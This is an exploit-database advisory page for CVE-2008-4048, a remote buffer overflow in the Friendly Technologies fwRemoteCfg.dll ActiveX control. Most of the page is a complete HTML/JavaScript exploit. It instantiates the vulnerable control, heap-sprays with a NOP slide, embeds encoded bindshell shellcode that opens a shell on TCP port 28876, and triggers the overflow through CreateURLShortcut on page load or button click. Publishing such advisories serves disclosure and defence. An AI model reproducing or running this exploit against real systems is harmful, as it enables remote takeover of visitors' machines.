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Arrow  Topic :

Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit


Arrow  SecurityAlert : 4242
Arrow  CVE : CVE-2008-4048
Arrow  CWE : CWE-119
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4554
Arrow  Credit : spdr.
Arrow  Published : 14.09.2008

Arrow  Affected Software : friendly_technologies:friendly_pppoe_client:3.0.0.57



Arrow  Advisory Content :  

<!--
"Friendly Technologies" provide software like L2TP and PPPoE clients to
ISPs,
who give the software to their customers on CD so they have less trouble
setting up thire connections.
They also provide remote configuration solutions .. not the best idea if
you ask me.

An overflow exists in fwRemoteCfg.dll provided with the dialer,
an example of the dialer can be found here:

==========================================================
|| Greetz to the binaryvision crew ||
|| Come visit @ http://www.binaryvision.org.il ||
|| or IRC at irc.nix.co.il / #binaryvision ||
==========================================================

* Tested on WinXP SP2 using IE6.
** For Education ONLY!
*** Written by spdr. (spdr01 [at] gmail.com)
-->

<html>
<title>Friendly Technologies - wayyy too friendly...</title>

<object classid="clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B"
id="sucker"></object>
<input type="button" value="Exploit!"

<script>
function exploit() {
var Evil = ""; // Our Evil Buffer
var DamnIE = "\x0C\x0C\x0C\x0C"; // Damn IE changes address
when not in the 0x00 - 0x7F range :(
// Need to use heap spray rather than overwrite EIP ...

// Skyland win32 bindshell (28876/tcp) shellcode
var ShellCode =
unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u012
0%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u
75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5
e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u
6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc58
9%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u
50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u355
0%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%u
c031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc65
6%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u
3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u545
3%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%u
c031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec
2%uffff%uc483%u615c%u89eb");

var payLoadSize = ShellCode.length * 2; // Size of the shellcode
var SprayToAddress = 0x0C0C0C0C; // Spray up to there, could make it
shorter.

var spraySlide = unescape("%u9090%u9090"); // Nop slide
var heapHdrSize = 0x38; // size of heap header blocks in MSIE,
hopefully.
var BlockSize = 0x100000; // Size of each block
var SlideSize = BlockSize - (payLoadSize + heapHdrSize); // Size of the
Nop slide
var heapBlocks = (SprayToAddress - 0x100000) / BlockSize; // Number of
blocks

spraySlide = MakeNopSlide(spraySlide, SlideSize); // Create our slide


// [heap header][nopslide][shellcode]
memory = new Array();
for (k = 0; k < heapBlocks; k++)
memory[k] = spraySlide + ShellCode;

// Create Evil Buffer
while(Evil.length < 800)
Evil += "A";
Evil += DamnIE;

// Pwn
sucker.CreateURLShortcut("con", "con", Evil, 1); // Using 'con' as
filename, we dont really want to make a file.
}

function MakeNopSlide(spraySlide, SlideSize){
while(spraySlide.length * 2 < SlideSize)
spraySlide += spraySlide;
spraySlide = spraySlide.substring(0, SlideSize / 2);
return spraySlide;
}
</script>

</html>



Arrow  References :

http://securityreason.com/expldownload/1/4554/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/44755
http://www.securityfocus.com/bid/30891
http://www.milw0rm.com/exploits/6323
http://secunia.com/advisories/31644




Arrow  Feedback :

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